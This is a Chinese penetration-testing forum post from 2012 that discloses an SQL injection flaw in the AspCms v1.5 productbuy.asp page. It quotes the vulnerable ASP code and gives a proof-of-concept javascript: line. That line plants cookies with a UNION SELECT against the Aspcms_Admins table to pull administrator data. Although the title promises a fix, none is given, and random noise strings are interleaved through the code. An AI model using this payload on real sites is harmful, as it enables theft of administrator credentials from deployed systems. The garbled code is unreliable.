中国网络渗透测试联盟
标题:
AspCms_v1.5_20110517 SQL注射漏洞及修复
[打印本页]
作者:
admin
时间:
2012-12-27 08:35
标题:
AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了，上来一看发现在删号名单内.....
/ ~$ z* X6 B( E- c
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
/ \( n0 P; u0 t8 \+ C" n
废话不多说，看代码：
* |! t9 t) m! o* _
9 ^ c3 U/ g5 c2 a8 v, L; C
<%
, x! M' i: {9 b5 G ^+ `
: N+ A8 q1 @* g2 G8 ~& z
if action = "buy" then
+ S/ X3 L. |9 [6 v! U; t
8 x5 E8 G1 k. F9 O2 O2 O
addOrder()
6 R. [8 X& @! m/ ^1 m. B
: B3 U' ?% P& A) k$ n- J* \4 A
else
$ M6 h3 J( q4 N! U
& H) V) D5 r, ?4 `$ ]
echoContent()
% w `( F( K" e4 }5 {* M; ]7 p
# P- N; R/ L. L. m8 P
end if
' I; y x' S7 P3 Z8 T
1 l1 n- u) [6 m$ { Z# `+ ?
* Z6 _9 ~7 p% K+ j5 a2 D
$ I1 w+ U! O6 S; N
……略过
& S0 L) W" R# W. e: Y$ x7 v
3 f9 m X: n# j8 M; F5 K- H6 f
- z# Z) A, i0 @+ O
' i- B5 \* b' q: P
Sub echoContent()
5 q. O+ G7 a+ V+ n" M' l
9 O1 Q6 R$ t2 f# z" T* m
dim id
! }3 y. H# S/ \( a2 N5 |
, @6 O5 i9 y7 v- D- K) \
id=getForm("id","get")
5 @2 H. a* ^9 N
+ S8 z8 n4 n( e5 ~0 ?- C+ ^
: m8 B" W" [. o( w
1 G* N8 f8 l( W3 L) z8 S
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
! }7 S/ K% l2 S, b* @
" g& ?! v) K7 l' T8 ?
% o M3 h7 G9 }. t
& u1 {& F) ^1 i0 r# c& i6 X
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
- Z* @/ ]( Z" x. @6 m- P$ d
) o4 U* l3 _- s# a# k
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
$ b. V. M' }& l9 }& P
! N7 f5 y. n$ ^/ ~" z7 Z0 @9 D# }1 _
Dim templatePath,tempStr
( y$ Y, Q: s; I
5 \2 w0 e7 l, o o. _
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
# k; F% v* D x3 q9 _
) y7 \! g- Q3 n: i6 m: n
6 ?0 \8 D: A- f; G% W
* o. C& m# G1 f, `4 |7 t
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
9 ]& H1 k2 ]5 F0 e
0 P% r0 t* T8 E3 F3 _' H+ `
selectproduct=rsObj(0)
% ]- b( N' a* e: h0 d
# c5 Z) h9 _6 k: J" t5 \" p3 b' x/ ^
: }, Q) g( `4 ~' h H4 K
- n; h% h1 C2 N4 X' L
Dim linkman,gender,phone,mobile,email,qq,address,postcode
7 [1 ]1 D" ]8 N1 y% A7 R- s1 E
) T, z6 C; s3 d. P( w' k5 W
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
4 Q _- a+ R8 }% R
! Q* Z& w# R9 t" @1 J; t# G B
if rCookie("loginstatus")=1 then
3 o9 u' O. G v1 l5 u# L
; ? J. e; s$ t: y4 _3 e- u
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
; V2 [; ]; j) e5 u: W
" F# z- S3 m6 d* o# |
linkman=rsObj("truename")
# @6 I+ e6 A7 V% E, w; {
2 d4 Q8 F7 p' p3 w! N* r' ^( E4 x% K
gender=rsObj("gender")
/ }, h! b( n. @
8 ^/ u4 L! P5 }$ u- T
phone=rsObj("phone")
4 O8 W4 u* H) W* i
/ @( F; x* c; J$ M c1 r
mobile=rsObj("mobile")
4 F; V4 i+ Z% L
( Q3 d# g3 G C( |
email=rsObj("email")
$ ^+ ~3 ]& |. P) n! ^& N$ z9 t
" N0 _5 V: r1 B$ ?
qq=rsObj("qq")
8 A8 n# ~/ A6 Z' z
# b) x1 u1 L t# S ]/ O
address=rsObj("address")
: Z/ S6 a" ]% L m
* q$ v* o) E! ~; W
postcode=rsObj("postcode")
) V I, l5 k7 O5 g5 j
& m% _) V, P1 W0 q3 R* k- i) J
else
; y7 R3 \1 X' z9 G/ i
" m( _( T8 x% Y. `# z5 [; d
gender=1
; ^; E( G0 y$ t, l H
9 d8 o/ [& X. c* e
end if
; ^8 i0 l) U% g9 f4 \
' r) T9 `7 T3 a: z) c$ C q- g
rsObj.close()
; Y7 S( X7 l! G% N1 L* L
' e, _& U' H7 B* r- P. z7 W
" u5 `. \9 b7 c- G9 ?: u
4 u7 F$ y$ Z- w+ L3 v( o
with templateObj
. ?$ Y! C4 G$ C# J, Q
) G/ ~' B) w8 i; A6 q5 H
.content=loadFile(templatePath)
2 S" @) x# h, o, d3 w9 |
( X; h5 ]: V, s/ F
.parseHtml()
S$ }6 X; V; H# s$ |
+ m: W3 L# G% Z8 Y2 @! M6 U3 B$ [
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
8 ^7 G/ u- `( a0 O
( n( @' `+ a, y) T# U
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
) T( r) Y4 C1 G" B1 S) I- c; c
# _& s4 O% e0 `: J$ O
.content=replaceStr(.content,"[aspcms:gender]",gender)
8 ~$ o$ ?. n) y/ g
; X( Z; ?; n6 e, w) t: F& G
.content=replaceStr(.content,"[aspcms:phone]",phone)
7 M- [/ a1 v5 O+ p: Y
* w% c: N2 m4 D8 {: n+ z- H# C
.content=replaceStr(.content,"[aspcms:mobile]",mobile)
0 M$ n2 N8 X$ c2 A
+ N2 M) i5 g9 X1 O2 T0 r8 u7 L
.content=replaceStr(.content,"[aspcms:email]",email)
2 g1 F# k( b, t0 G6 N+ t2 f! T
: X2 n/ z: t" U2 {, }3 ?: p
.content=replaceStr(.content,"[aspcms:qq]",qq)
, y" Y% Z# ^) B8 }
! v9 m- T$ M" A) v: C# l
.content=replaceStr(.content,"[aspcms:address]",address)
, h4 r- q( x v+ R: \% H
1 D" S0 b( c0 P
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
! ^6 [6 B0 z& M
3 e5 d+ f. j1 d$ M) u; q6 @
.parseCommon()
/ m4 u! s4 F. a! m. o& v4 O0 L/ R) B
6 g) J; {* Z% s, L
echo .content
, n- u' q8 @! o
# t. G) j) ?* Q& d* @2 {" Z2 {# w
end with
: v2 y% I( Z( r0 F. N9 D
# W8 B8 [+ s7 ^7 W# u2 {7 s7 w! i1 @
set templateobj =nothing : terminateAllObjects
# u6 S6 {( U( J" ?/ k
$ I/ ^9 q7 x; o
End Sub
! v& F2 k6 d& |: m: i7 ^2 ^
漏洞很明显，没啥好说的
9 j! a7 A2 X- z+ b- A- U
poc：
* } |% h0 r; U0 T
1 T/ _ A* k" K. }* K
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子
0 @" C' S2 g0 |
; g7 Y0 t( U+ S8 F
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2